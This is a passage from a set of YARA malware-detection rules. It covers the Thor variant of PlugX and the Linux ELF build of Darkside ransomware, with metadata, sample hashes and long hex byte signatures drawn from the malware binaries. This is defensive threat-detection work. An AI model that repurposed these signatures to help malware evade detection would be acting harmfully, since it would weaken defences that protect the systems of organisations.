		tags = "FILE"
		hash1 = "d786355c1b3dc741103873aed46d8ffa3430d113a27482f37f3ffc7c978747f6"
		hash2 = "43bbfb3389deb3846bba19a8ab2e9c8fd9b581720962b8170d4a63ad816b5804"
		tlp = "White"
		adversary = "-"
	strings:
		$seq1 = { b8 48 14 00 00 e8 b8 83 00 00 53 55 56 8d 44 24 48 8b e9 50 55 89 54 24 14 33 f6 ff 15 84 02 41 00 8b d8 85 db 0f 84 fa 00 00 00 57 8b cb e8 2b 09 00 00 8b f8 85 ff 0f 84 e7 00 00 00 57 53 56 55 ff 15 8c 02 41 00 8b 1d 78 02 41 00 8d 44 24 18 50 8d 44 24 18 50 68 cc 14 48 00 57 89 74 24 24 89 74 24 28 ff d3 83 7c 24 18 04 0f 82 ab 00 00 00 8b 44 24 10 8b 4c 24 14 c7 44 24 1c 00 15 48 00 c7 44 24 20 14 15 48 00 c7 44 24 24 30 15 48 00 c7 44 24 28 48 15 48 00 c7 44 24 2c 60 15 48 00 c7 44 24 30 80 15 48 00 c7 44 24 34 a0 15 48 00 c7 44 24 38 c0 15 48 00 c7 44 24 3c e0 15 48 00 c7 44 24 40 fc 15 48 00 c7 44 24 44 14 16 48 00 c7 44 24 48 38 16 48 00 ff 74 84 1c 0f b7 41 02 50 0f b7 01 50 8d 44 24 60 68 54 16 48 00 50 ff 15 64 02 41 00 83 c4 14 8d 44 24 50 50 8d 44 24 14 50 8d 44 24 5c 50 57 ff d3 85 c0 74 0d 8b 4c 24 10 33 d2 e8 47 0a 00 00 8b f0 8b cf e8 c9 08 00 00 5f 8b c6 5e 5d 5b 81 c4 48 14 00 00 }
		$seq2 = { 8d 44 24 50 50 8d 44 24 4c 50 8d 44 24 2c 50 55 ff 15 ec 00 41 00 8b 44 24 14 8b 74 24 18 ff 74 24 68 88 87 57 01 08 00 66 a1 80 4d 41 00 [10] 88 9f 54 01 08 00 c6 87 63 01 08 00 10 89 b7 58 01 08 00 66 89 87 5d 01 08 00 ff 15 6c 00 41 00 0f b6 97 63 01 08 00 03 c0 66 89 87 55 01 08 00 8b 44 24 20 8d 8f 64 01 08 00 88 87 5c 01 08 00 e8 14 2b 00 00 8b 44 24 14 0f b6 c8 0f b7 87 55 01 08 00 83 c1 03 8d 0c c8 89 8f 4c 01 08 00 e8 2e 3a 00 00 8b c8 89 8f 48 01 08 00 85 c9 0f 84 0f 01 00 00 8b 44 24 28 89 41 04 8b 8f 48 01 08 00 8b 44 24 24 89 01 8b 8f 48 01 08 00 8b 44 24 4c 89 41 0c 8b 8f 48 01 08 00 8b 44 24 48 89 41 08 8b 8f 48 01 08 00 8b 44 24 54 89 41 14 8b 8f 48 01 08 00 8b 44 24 50 89 41 10 0f b7 87 55 01 08 00 50 8b 87 48 01 08 00 ff 74 24 6c 83 c0 18 50 e8 b4 b5 00 00 8b 4c 24 6c 33 d2 e8 bd 3b 00 00 8b 4c 24 70 33 d2 89 47 08 e8 af 3b 00 00 0f b6 97 63 01 08 00 89 47 0c 8b 44 24 78 89 87 28 02 08 00 8b 44 24 44 89 47 04 8d 87 44 00 08 00 50 8d 8f 64 01 08 00 89 2f e8 4d 24 00 00 89 b7 18 02 08 00 8b 87 c5 01 08 00 f7 a7 58 01 08 00 8b c8 0f b6 87 5c 01 08 00 8b f2 99 83 c4 10 ff b7 28 02 08 00 03 c8 13 f2 03 0d 80 4d 41 00 13 35 84 4d 41 00 89 8f 1c 02 08 00 89 b7 20 02 08 00 ff 15 c4 00 41 00 53 57 ff 74 24 44 55 ff 15 e8 00 41 00 }
		$seq3 = { 57 68 ff 01 0f 00 ff 75 08 8b fa 51 32 db ff 15 0c 00 41 00 8b f0 85 f6 74 76 32 ff eb 52 84 ff 75 65 33 c0 50 50 50 50 50 50 50 6a ff 6a 04 6a ff 56 ff 15 10 00 41 00 8b 45 c0 83 f8 01 74 2c 76 2e 83 f8 03 76 1a 83 f8 04 75 24 8d 45 e0 50 6a 01 56 ff 15 18 00 41 00 }
		$seq4 = { 6a ff 8d 45 fc 50 8d 45 08 50 8d 45 f8 50 ff 33 33 ff 89 7d f8 89 7d 08 89 7d fc ff 15 c8 00 41 00 85 c0 8b 45 08 0f 95 c1 85 c0 74 59 56 }
		$seq5 = { 8b 45 08 56 ff 70 08 ff 15 dc 00 41 00 8b ce e8 af 2e 00 00 33 ff 57 ff 75 08 57 ff 33 ff 15 e4 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 30KB and 3 of ( $seq* )
}

rule ARKBIRD_SOLG_Mal_Plugx_Thor_July_2021_1 : FILE
{
	meta:
		description = "Detect Thor variant of PlugX (Variant 1)"
		author = "Arkbird_SOLG"
		id = "5447e5df-0326-5987-905b-bfc49acee05a"
		date = "2021-07-27"
		modified = "2021-07-28"
		reference = "https://unit42.paloaltonetworks.com/thor-plugx-variant/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-27/PlugX/Mal_PlugX_Thor_July_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "f94e6cf8a1169526a438dfbf4d6b40f4ce0f6af6eee2e893fb138b81c4172c73"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "125fdf108dc1ad6f572cbdde74b0c7fa938a9adce0cc80cb5ce00f1c030b0c93"
		hash2 = "690c488a9902978f2ef05aa23d21f4fa30a52dd9d11191f9b49667cd08618d87"
		hash3 = "3c5e2a4afe58634f45c48f4e800dc56bae3907dde308ff97740e9cd5684d1c53"
		hash4 = "a9cbce007a7467ba1394eed32b9c1774ad09a9a9fb74eb2ccc584749273fac01"
		tlp = "white"
		adversary = "Chinese APT group"
	strings:
		$s1 = { 55 8b ec 81 ec ?? 01 00 00 a1 00 [2] 10 33 c5 89 45 [2-10] 85 ?? fe ff ff [0-1] c6 85 ?? fe ff ff 5c c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff }
		$s2 = { 8b ?? ?? fe ff ff c6 ?? 00 [3-5] fe ff ff [4-10] fe ff ff }
		$s3 = { fe ff ff 6a 40 68 00 10 00 00 8b 95 ?? fe ff ff 52 6a 00 ff 95 ?? fe ff ff 89 85 ?? fe ff ff }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* )
}


rule ARKBIRD_SOLG_RAN_ELF_Darkside_Apr_2021_1 : FILE
{
	meta:
		description = "Detect the ELF version of Darkside ransomware"
		author = "Arkbird_SOLG"
		id = "10c0ba57-d6d6-5d1d-bd2a-f6f240d71f8b"
		date = "2021-05-01"
		modified = "2021-05-02"
		reference = "https://twitter.com/JAMESWT_MHT/status/1388301138437578757"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Darkside/RAN_ELF_Darkside_Apr_2021_1.yara#L1-L23"
		license_url = "N/A"
		logic_hash = "510932893e1e81d6c88e86c7ae2345460b397c936336c7e1a33799dbc1dd6aab"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "984ce69083f2865ce90b48569291982e786980aeef83345953276adfcbbeece8"
		hash2 = "9cc3c217e3790f3247a0c0d3d18d6917701571a8526159e942d0fffb848acffb"
		hash3 = "c93e6237abf041bc2530ccb510dd016ef1cc6847d43bf023351dce2a96fdc33b"
		tlp = "White"
		adversary = "-"
	strings:
		$seq1 = { 48 8d 3d d1 e8 3b 00 e8 9c 51 f2 ff 85 c0 74 c6 4c 8d 6c 24 10 4c 89 ef e8 ab bf 02 00 48 8d 1d 34 bb 37 00 49 8d 75 08 48 8d 3d 31 e1 3b 00 48 8d 43 10 48 89 05 1e e1 3b 00 e8 09 1e 02 00 48 8d 05 22 d8 0e 00 48 8b 7c 24 18 c7 05 4b e1 3b 00 01 00 00 00 48 89 05 1c e1 3b 00 48 8d 05 4d d8 0e 00 48 85 ff 48 89 05 13 e1 3b 00 48 8d 05 84 d8 0e 00 48 89 05 0d e1 3b 00 48 8d 05 be d8 0e 00 48 89 05 07 e1 3b 00 48 8d 05 48 d9 0e 00 48 89 05 01 e1 3b 00 48 8d 43 10 48 89 44 24 10 74 05 e8 21 45 f2 ff 4c 8d ac 24 30 03 00 00 4c 89 ef e8 11 bf 02 00 4c 8d b4 24 10 03 00 00 ba 03 00 00 00 4c 89 ee 4c 89 f7 e8 39 62 ff ff 48 8b bc 24 38 03 00 00 48 8d 43 10 48 89 84 24 30 03 00 00 48 85 ff 74 05 e8 db 44 f2 ff 4c 8d 6c 24 30 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 06 62 ff ff 48 8b bc 24 18 03 00 00 48 8d 43 10 48 89 84 24 10 03 00 00 48 85 ff 74 05 e8 a8 44 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 81 e0 3b 00 48 89 05 72 e0 3b 00 e8 0d 1d 02 00 48 8d 05 26 d7 0e 00 48 8b 7c 24 38 c7 05 9f e0 3b 00 01 00 00 00 48 89 05 70 e0 3b 00 48 8d 05 51 d7 0e 00 48 85 ff 48 89 05 67 e0 3b 00 48 8d 05 88 d7 0e 00 48 89 05 61 e0 3b 00 48 8d 05 c2 d7 0e 00 48 89 05 5b e0 3b 00 48 8d 05 4c d8 0e 00 48 89 05 55 e0 3b 00 48 8d 43 10 48 89 44 24 30 74 05 e8 25 44 f2 ff 4c 8d b4 24 50 03 00 00 4c 89 f7 e8 05 c5 02 00 4c 8d 6c 24 50 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 40 61 ff ff 48 8b bc 24 58 03 00 00 48 8d 43 10 48 89 84 24 50 03 00 00 48 85 ff 74 05 e8 e2 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 0b e0 3b 00 48 89 05 fc df 3b 00 e8 47 1c 02 00 48 8d 05 18 d8 0e 00 48 8b 7c 24 58 c7 05 29 e0 3b 00 01 00 00 00 48 89 05 fa df 3b 00 48 8d 05 33 d8 0e 00 48 85 ff 48 89 05 f1 df 3b 00 48 8d 05 5a d8 0e 00 48 89 05 eb df 3b 00 48 8d 05 84 d8 0e 00 48 89 05 e5 df 3b 00 48 8d 05 de d8 0e 00 48 89 05 df df 3b 00 48 8d 43 10 48 89 44 24 50 74 05 e8 5f 43 f2 ff 4c 8d b4 24 70 03 00 00 4c 89 f7 e8 3f c4 02 00 4c 8d 6c 24 70 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 7a 60 ff ff 48 8b bc 24 78 03 00 00 48 8d 43 10 48 89 84 24 70 03 00 00 48 85 ff 74 05 e8 1c 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 95 df 3b 00 48 89 05 86 df 3b 00 e8 81 1b 02 00 48 8d 05 9a d8 0e 00 48 8b 7c 24 78 c7 05 b3 df 3b 00 01 00 00 00 48 89 05 84 df 3b 00 48 8d 05 c5 d8 0e 00 48 85 ff 48 89 05 7b df 3b 00 48 8d 05 fc d8 0e 00 48 89 05 75 df 3b 00 48 8d 05 36 d9 0e 00 48 89 05 6f df 3b 00 48 8d 05 b0 d9 0e 00 48 89 05 69 df 3b 00 48 8d 43 10 48 89 44 24 70 74 05 e8 99 42 f2 ff 4c 8d ac 24 90 03 00 00 4c 89 ef e8 19 be 02 00 4c 8d b4 24 b0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 b1 5f ff ff 4c 8d ac 24 90 00 00 00 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 99 5f ff ff 48 8b bc 24 b8 03 00 00 48 8d 43 10 48 89 84 24 b0 03 00 00 48 85 ff 74 05 e8 3b 42 f2 ff 48 8b bc 24 98 03 00 00 48 8d 43 10 48 89 84 24 90 03 00 00 48 85 ff 74 05 e8 1d 42 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d e6 de 3b 00 48 89 05 d7 de 3b 00 e8 82 1a 02 00 48 8d 05 43 d9 0e 00 48 8b bc 24 98 00 00 00 c7 05 01 df 3b 00 01 00 00 00 48 89 05 d2 de 3b 00 48 8d 05 53 d9 0e 00 48 85 ff 48 89 05 c9 de 3b 00 48 8d 05 72 d9 0e 00 48 89 05 c3 de 3b 00 48 8d 05 94 d9 0e 00 48 89 05 bd de 3b 00 48 8d 05 de d9 0e 00 48 89 05 b7 de 3b 00 48 8d 43 10 48 89 84 24 90 00 00 00 74 05 e8 94 41 f2 ff 4c 8d ac 24 d0 03 00 00 4c 89 ef e8 14 bd 02 00 4c 8d b4 24 f0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 ac 5e ff ff 4c 8d ac 24 b0 00 00 00 ba 03 00 00 00 4c 89 f6 4c 89 ef e8 94 5e ff ff 48 8b bc 24 f8 03 00 00 48 8d 43 10 48 89 84 24 f0 03 00 00 48 85 ff 74 05 e8 36 41 f2 ff 48 8b bc 24 d8 03 00 00 48 8d 43 10 48 89 84 24 d0 03 00 00 48 85 ff 74 05 e8 18 41 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 31 de 3b 00 48 89 05 22 de 3b 00 e8 7d 19 02 00 48 8d 05 56 d9 0e 00 48 8b bc 24 b8 00 00 00 c7 05 4c de 3b 00 01 00 00 00 48 89 05 1d de 3b 00 48 8d 05 6e d9 0e 00 48 85 ff 48 89 05 14 de 3b 00 48 8d 05 95 d9 0e 00 48 89 05 0e de 3b 00 48 8d 05 bf d9 0e 00 48 89 05 08 de 3b 00 48 8d 05 19 da 0e 00 48 89 05 02 de 3b 00 48 8d 43 10 48 89 84 24 b0 00 00 00 74 05 e8 8f 40 f2 ff 4c 8d ac 24 10 04 00 00 4c 89 ef e8 0f bc 02 00 4c 8d b4 24 30 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a7 5d ff ff 4c 8d ac 24 d0 00 00 00 ba 05 00 00 00 4c 89 f6 4c 89 ef e8 8f 5d ff ff 48 8b bc 24 38 04 00 00 48 8d 43 10 48 89 84 24 30 04 00 00 48 85 ff 74 05 e8 31 40 f2 ff 48 8b bc 24 18 04 00 00 48 8d 43 10 48 89 84 24 10 04 00 00 48 85 ff 74 05 e8 13 40 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 7c dd 3b 00 48 89 05 6d dd 3b 00 e8 78 18 02 00 48 8d 05 99 d9 0e 00 48 8b bc 24 d8 00 00 00 c7 05 97 dd 3b 00 01 00 00 00 48 89 05 68 dd 3b 00 48 8d 05 b9 d9 0e 00 48 85 ff 48 89 05 5f dd 3b 00 48 8d 05 e8 d9 0e 00 48 89 05 59 dd 3b 00 48 8d 05 1a da 0e 00 48 89 05 53 dd 3b 00 48 8d 05 84 da 0e 00 48 89 05 4d dd 3b 00 48 8d 43 10 48 89 84 24 d0 00 00 00 74 05 e8 8a 3f f2 ff 4c 8d ac 24 50 04 00 00 4c 89 ef e8 0a bb 02 00 4c 8d b4 24 70 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a2 5c ff ff 4c 8d ac 24 f0 00 00 00 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 8a 5c ff ff 48 8b bc 24 78 04 00 00 48 8d 43 10 48 89 84 24 70 04 00 00 48 85 ff 74 05 e8 2c 3f f2 ff 48 8b bc 24 58 04 00 00 48 8d 43 10 48 89 84 24 50 04 00 00 48 85 ff 74 05 e8 0e 3f f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d c7 dc 3b 00 48 89 05 b8 dc 3b 00 e8 73 17 02 00 48 8d 05 0c da 0e 00 48 8b bc 24 f8 00 00 00 c7 05 e2 dc 3b 00 01 00 00 00 48 89 05 b3 dc 3b 00 48 8d 05 34 da 0e 00 48 85 ff 48 89 05 aa dc 3b 00 48 8d 05 6b da 0e 00 48 89 05 a4 dc 3b 00 48 8d 05 a5 da 0e 00 48 89 05 9e dc 3b 00 48 8d 05 1f db 0e 00 48 89 05 98 dc 3b 00 48 8d 43 10 48 89 84 24 f0 00 00 00 74 05 e8 85 3e f2 ff 4c 8d ac 24 90 04 00 00 4c 89 ef e8 05 ba 02 00 4c 8d b4 24 b0 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 9d 5b ff ff 4c 8d ac 24 10 01 00 00 ba 09 00 00 00 4c 89 f6 4c 89 ef e8 85 5b ff ff 48 8b bc 24 b8 04 00 00 48 8d 43 10 48 89 84 24 b0 04 00 00 48 85 ff 74 05 e8 27 3e f2 ff 48 8b bc 24 98 04 00 00 48 8d 43 10 48 89 84 24 90 04 00 00 48 85 ff 74 05 e8 09 3e f2 ff 48 8d 43 10 49 8d }
		$seq2 = { 41 56 49 89 fe 41 55 41 89 cd 41 54 45 8d 60 01 55 53 44 89 c3 48 81 ec 98 06 00 00 41 39 cc 89 74 24 10 48 89 54 24 30 0f 84 ab 09 00 00 48 8d 84 24 80 00 00 00 41 8d 70 ff 48 8d ac 24 10 01 00 00 48 89 c7 48 89 44 24 48 e8 0f 89 f6 ff be 01 00 00 00 48 89 ef e8 02 51 f6 ff 4c 8d a4 24 e0 00 00 00 89 de 4c 89 e7 e8 f0 88 f6 ff 48 8d 84 24 b0 00 00 00 48 89 ea 4c 89 e6 48 89 c7 48 89 44 24 20 e8 55 8d f6 ff 48 8d 1d 4e a2 2f 00 49 8d 7c 24 08 4c 8d 7b 10 4c 89 bc 24 e0 00 00 00 e8 48 eb ea ff 48 8d 7d 08 4c 89 bc 24 10 01 00 00 e8 37 eb ea ff 48 8d 84 24 40 01 00 00 41 8d 75 ff 48 89 c7 48 89 44 24 38 e8 8e 88 f6 ff 48 8d 84 24 d0 01 00 00 be 01 00 00 00 48 89 c7 49 89 c7 48 89 44 24 50 e8 71 50 f6 ff 48 8d ac 24 a0 01 00 00 44 89 ee 48 89 ef e8 5e 88 f6 ff 48 8d 84 24 70 01 00 00 4c 89 fa 48 89 ee 48 89 c7 48 89 44 24 40 e8 c3 8c f6 ff 4c 8d 63 10 48 8d 7d 08 48 8d ac 24 00 02 00 00 4c 89 a4 24 a0 01 00 00 e8 b6 ea ea ff 4c 89 ff 4c 89 a4 24 d0 01 00 00 4c 8d a4 24 30 02 00 00 48 83 c7 08 e8 9a ea ea ff 4c 63 7c 24 10 49 8d 46 30 48 89 44 24 18 0f 1f 40 00 e8 b3 7c f6 ff 49 89 c5 e8 ab 75 f6 ff 4c 89 2c 24 4c 8b 6c 24 18 49 89 c1 48 8b 4c 24 20 48 8b 54 24 48 41 b8 01 00 00 00 48 8b 74 24 30 4c 89 ef e8 32 f9 f6 ff 4c 89 fe 48 89 ef e8 b7 4f f6 ff 4c 89 ea 48 89 ee 4c 89 e7 e8 09 d9 f6 ff 48 8b 4c 24 40 48 8b 54 24 38 4d 89 e1 48 8b 74 24 30 4c 89 2c 24 41 b8 01 00 00 00 4c 89 f7 e8 f5 f8 f6 ff 48 8b 94 24 50 02 00 00 48 8b 8c 24 40 02 00 00 41 89 c5 48 39 8c 24 48 02 00 00 48 8d 43 10 48 0f 46 8c 24 48 02 00 00 48 85 d2 48 89 84 24 30 02 00 00 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 40 4f f7 ff 48 8b 94 24 20 02 00 00 48 8b 8c 24 10 02 00 00 48 8d 43 10 48 39 8c 24 18 02 00 00 48 0f 46 8c 24 18 02 00 00 48 89 84 24 00 02 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 fe 4e f7 ff 45 84 ed 0f 84 fd fe ff ff 83 7c 24 10 01 0f 84 bc 04 00 00 48 8d 84 24 e0 03 00 00 4c 8d ac 24 c0 05 00 00 48 89 44 24 10 48 8d 84 24 10 04 00 00 48 89 44 24 08 49 8d 45 08 }
		$seq3 = { 4c 8d bc 24 00 05 00 00 be 01 00 00 00 4c 89 ff e8 9b 4e f6 ff 4c 8d a4 24 30 05 00 00 4c 89 fa 4c 89 f6 4c 89 e7 e8 05 88 f6 ff 48 8d ac 24 60 05 00 00 48 8b 54 24 18 4c 89 e6 48 89 ef e8 5d d3 f6 ff 48 8d 84 24 90 05 00 00 4c 89 f1 4c 89 ea 48 89 ee 48 89 c7 48 89 44 24 28 e8 ef b9 ff ff 48 8b 74 24 28 49 8d 7e 60 e8 01 59 f6 ff 48 8b 94 24 b0 05 00 00 48 8b 8c 24 a0 05 00 00 48 8d 43 10 48 39 8c 24 a8 05 00 00 48 0f 46 8c 24 a8 05 00 00 48 89 84 24 90 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 ff 4d f7 ff 48 8b 94 24 80 05 00 00 48 8b 8c 24 70 05 00 00 48 8d 43 10 48 39 8c 24 78 05 00 00 48 0f 46 8c 24 78 05 00 00 48 89 84 24 60 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 bd 4d f7 ff 48 8b 94 24 50 05 00 00 48 8b 8c 24 40 05 00 00 48 8d 43 10 48 39 8c 24 48 05 00 00 48 0f 46 8c 24 48 05 00 00 48 89 84 24 30 05 00 00 }
		$seq4 = { 49 89 ff 41 56 49 89 f6 41 55 41 54 55 53 49 8d 9e c8 01 00 00 48 81 ec f8 05 00 00 48 8d bc 24 d0 00 00 00 e8 e5 52 00 00 48 8d bc 24 00 01 00 00 be 06 0e 5d 00 e8 33 99 ff ff 48 8d b4 24 00 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 bb eb ff ff 48 8b 84 24 00 01 00 00 48 8d b4 24 60 04 00 00 49 8d 9e c0 01 00 00 48 8d 78 e8 e8 9b 10 fd ff 48 8d bc 24 20 01 00 00 be 79 e3 5b 00 e8 e9 98 ff ff 48 8d b4 24 20 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 71 eb ff ff 48 8b 84 24 20 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 58 10 fd ff 48 8d 7c 24 20 4c 89 f6 e8 6b 9d ff ff 48 8d bc 24 40 01 00 00 be 14 e4 5b 00 e8 99 98 ff ff 48 8d 54 24 20 48 8d b4 24 40 01 00 00 48 8d bc 24 d0 00 00 00 e8 1f eb ff ff 48 8b 84 24 40 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 06 10 fd ff 48 8b 44 24 20 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 f0 0f fd ff 48 8d bc 24 60 01 00 00 be 1d e4 5b 00 e8 3e 98 ff ff 48 8d bc 24 c0 00 00 00 e8 41 22 fd ff 48 8d b4 24 c0 00 00 00 48 8d bc 24 60 04 00 00 e8 cc 0f fd ff 48 8d 8c 24 60 04 00 00 48 8d b4 24 60 01 00 00 48 8d bc 24 d0 00 00 00 ba 3f 26 5e 00 e8 fa ce 00 00 48 8d bc 24 60 04 00 00 e8 7d 19 fd ff 48 8d bc 24 c0 00 00 00 e8 70 19 fd ff 48 8b 84 24 60 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 67 0f fd ff 48 8d bc 24 80 01 00 00 be 90 e4 5b 00 e8 b5 97 ff ff 48 8d b4 24 80 01 00 00 48 8d bc 24 d0 00 00 00 ba 48 38 8a 00 e8 3b ea ff ff 48 8b 84 24 80 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 22 0f fd ff 48 8d 94 24 20 04 00 00 48 8d b4 24 00 04 00 00 4c 89 f7 48 c7 84 24 00 04 00 00 78 24 8a 00 48 c7 84 24 20 04 00 00 78 24 8a 00 e8 f2 9c ff ff 48 8d bc 24 a0 01 00 00 be 24 e4 5b 00 e8 40 97 ff ff 48 8d 94 24 00 04 00 00 48 8d b4 24 a0 01 00 00 48 8d bc 24 d0 00 00 00 e8 c3 e9 ff ff 48 8b 84 24 a0 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 aa 0e fd ff 48 8d bc 24 c0 01 00 00 be 2d e4 5b 00 e8 f8 96 ff ff 48 8d 94 24 20 04 00 00 48 8d b4 24 c0 01 00 00 48 8d bc 24 d0 00 00 00 e8 7b e9 ff ff 48 8b 84 24 c0 01 00 00 48 8d b4 24 60 04 00 00 48 8d ac 24 e0 03 00 00 48 8d 78 e8 e8 5a 0e fd ff c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 e2 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 }
		$seq5 = { e8 bb e4 fd ff 48 8d bc 24 40 04 00 00 48 89 84 24 e0 01 00 00 e8 b6 e9 05 00 48 89 c3 48 89 84 24 e8 01 00 00 e8 96 1d fd ff 8b 40 08 48 83 c3 08 be 33 e4 5b 00 48 89 df 89 84 24 f0 01 00 00 e8 7b e9 fd ff 48 8b b4 24 00 04 00 00 48 89 df 48 8b 56 e8 e8 67 e6 fd ff 48 8d bc 24 e0 01 00 00 e8 5a d9 fd ff 48 83 bc 24 40 04 00 00 00 75 8f c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 37 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 00 48 89 c6 }
		$seq6 = { 48 8d bc 24 40 04 00 00 48 89 84 24 00 02 00 00 e8 0e e9 05 00 48 89 c3 48 89 84 24 08 02 00 00 e8 ee 1c fd ff 8b 40 08 48 83 c3 08 be 3e e4 5b 00 48 89 df 89 84 24 10 02 00 00 e8 d3 e8 fd ff 48 8b b4 24 20 04 00 00 48 89 df 48 8b 56 e8 e8 bf e5 fd ff 48 8d bc 24 00 02 00 00 e8 b2 d8 fd ff 48 83 bc 24 40 04 00 00 00 75 8f 48 8b 84 24 20 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 ee 0c fd ff 48 8b 84 24 00 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 d5 0c fd ff e8 10 c9 fe ff 84 c0 0f 84 48 02 00 00 48 8d 74 24 1d c6 04 24 00 48 89 ef e8 07 97 00 00 48 8b bc 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 c7 84 24 00 04 00 00 00 00 00 00 48 c7 84 24 08 04 00 00 00 00 00 00 48 c7 84 24 10 04 00 00 00 00 00 00 e8 3e db fe ff 84 c0 0f 84 c9 00 00 00 48 8b 84 24 08 04 00 00 48 2b 84 24 00 04 00 00 48 c1 f8 03 }
		$seq7 = { 48 83 bc 24 40 04 00 00 00 75 95 48 8d bc 24 00 04 00 00 e8 b0 9e fe ff 48 8b bc 24 e8 03 00 00 48 85 ff 74 05 e8 0e 66 ff ff 48 8d bc 24 f0 00 00 00 e8 81 4d 00 00 48 8d b4 24 f0 00 00 00 4c 89 f7 e8 81 f0 ff ff 48 8d bc 24 40 04 00 00 be 02 e5 5b 00 e8 bf 93 ff ff 48 8d 94 24 f0 00 00 00 48 8d b4 24 40 04 00 00 48 8d bc 24 d0 00 00 00 e8 f2 d1 00 00 48 8b 84 24 40 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 29 0b fd ff 48 8d bc 24 60 04 00 00 be 18 00 00 00 e8 07 0e fd ff 48 8d bc 24 70 04 00 00 48 8d b4 24 d0 00 00 00 ba 01 00 00 00 e8 5d ad 00 00 48 8d b4 24 78 04 00 00 48 8d bc 24 b0 00 00 00 e8 38 0c fd ff 48 8d 94 24 b0 00 00 00 4c 89 f6 4c 89 ff e8 e5 c6 ff ff 48 8b 84 24 b0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 bc 0a fd ff 48 8d bc 24 60 04 00 00 e8 cf 16 fd ff 48 8d bc 24 f0 00 00 00 e8 52 4d 00 00 48 8d bc 24 d0 00 00 00 e8 45 4d 00 00 48 81 c4 f8 05 00 00 4c 89 f8 5b 5d 41 5c 41 5d }
		$seq8 = { 4c 8d a4 24 64 05 00 00 66 0f 1f 44 00 00 e8 23 de fd ff 48 8d 94 24 20 04 00 00 48 8d bc 24 a0 03 00 00 48 89 c6 e8 eb df fd ff 48 8b 9c 24 a8 03 00 00 be f7 e4 5b 00 48 8d 7b 08 e8 f5 e2 fd ff 48 8d 7b 70 4c 89 e6 e8 d9 0b fd ff 48 8d bc 24 a0 03 00 00 e8 dc d2 fd ff 48 83 bc 24 20 04 00 00 00 75 a9 48 8d 84 24 c0 03 00 00 be 6c e4 5b 00 48 89 c7 48 89 44 24 08 e8 77 8f ff ff 48 8b 5c 24 08 48 8d 94 24 60 04 00 00 48 8d bc 24 d0 00 00 00 48 89 de e8 7a c8 00 00 48 8b 84 24 c0 03 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 e1 06 fd ff 48 8d b4 24 23 05 00 00 48 8d bc 24 a0 00 00 00 48 89 da e8 29 0d fd ff 48 8d 94 24 a0 03 00 00 48 8d b4 24 60 04 00 00 48 8d bc 24 90 00 00 00 e8 0c 0d fd ff 48 8d bc 24 90 00 00 00 be 90 d6 5c 00 e8 ba 16 fd ff 48 8b 10 48 89 94 24 20 04 00 00 48 c7 00 78 24 8a 00 48 8b 94 24 20 04 00 00 48 8b 84 24 a0 00 00 00 48 8b 4a e8 48 89 ce 48 03 70 e8 48 3b 72 f0 76 0a 48 3b 70 f0 0f 86 b7 08 00 00 48 8d b4 24 a0 00 00 00 48 8d bc 24 20 04 00 00 e8 08 0c fd ff 48 8b 10 be 8d e4 5b 00 48 89 ef 48 89 94 24 40 04 00 00 48 c7 00 78 24 8a 00 e8 89 8e ff ff 48 8d 94 24 40 04 00 00 48 8d bc 24 d0 00 00 00 48 89 ee e8 11 e1 ff ff 48 8b 84 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 f8 05 fd ff 48 8b 84 24 40 04 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 df 05 fd ff 48 8b 84 24 20 04 00 00 48 